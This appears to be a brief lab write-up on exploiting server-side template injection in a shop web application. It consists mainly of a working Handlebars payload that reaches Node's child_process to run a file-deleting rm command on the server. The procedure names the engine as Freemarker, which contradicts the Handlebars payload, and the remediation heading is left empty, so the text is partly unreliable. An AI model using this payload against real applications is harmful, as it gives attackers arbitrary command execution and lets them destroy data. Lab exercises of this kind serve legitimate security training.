SCENARIO

The application is vulnerable to server-side template injection due to the way it unsafely uses a template. We will try to figure out a way to know the template used in order to execute arbitrary code on the backend server.

**PROCEDURE**

1. Open the application and try clicking on the very first product and we see a message that it is out of stock.
2. Now in the URL we will inject Payload 1 in order to force the application to throw an exception so we can identify the template engine of the server.
3. As we know the template engine deployed at the backend we will now craft a Payload 2 and then append it into the URL of the web application.
4. So, we will try to inject the Payload into the URL in order to do Remote Code Execution by going through the documentation of Freemaker template engine.

**PAYLOAD**

1. {{2\*2
2. wrtz{{#with "s" as |string|}}

{{#with "e"}}

{{#with split as |conslist|}}

{{this.pop}}

{{this.push (lookup string.sub "constructor")}}

{{this.pop}}

{{#with string.split as |codelist|}}

{{this.pop}}

{{this.push "return require('child\_process').exec('rm /home/carlos/morale.txt');"}}

{{this.pop}}

{{#each conslist}}

{{#with (string.sub.apply 0 codelist)}}

{{this}}

{{/with}}

{{/each}}

{{/with}}

{{/with}}

{{/with}}

{{/with}}

**REMEDIATION**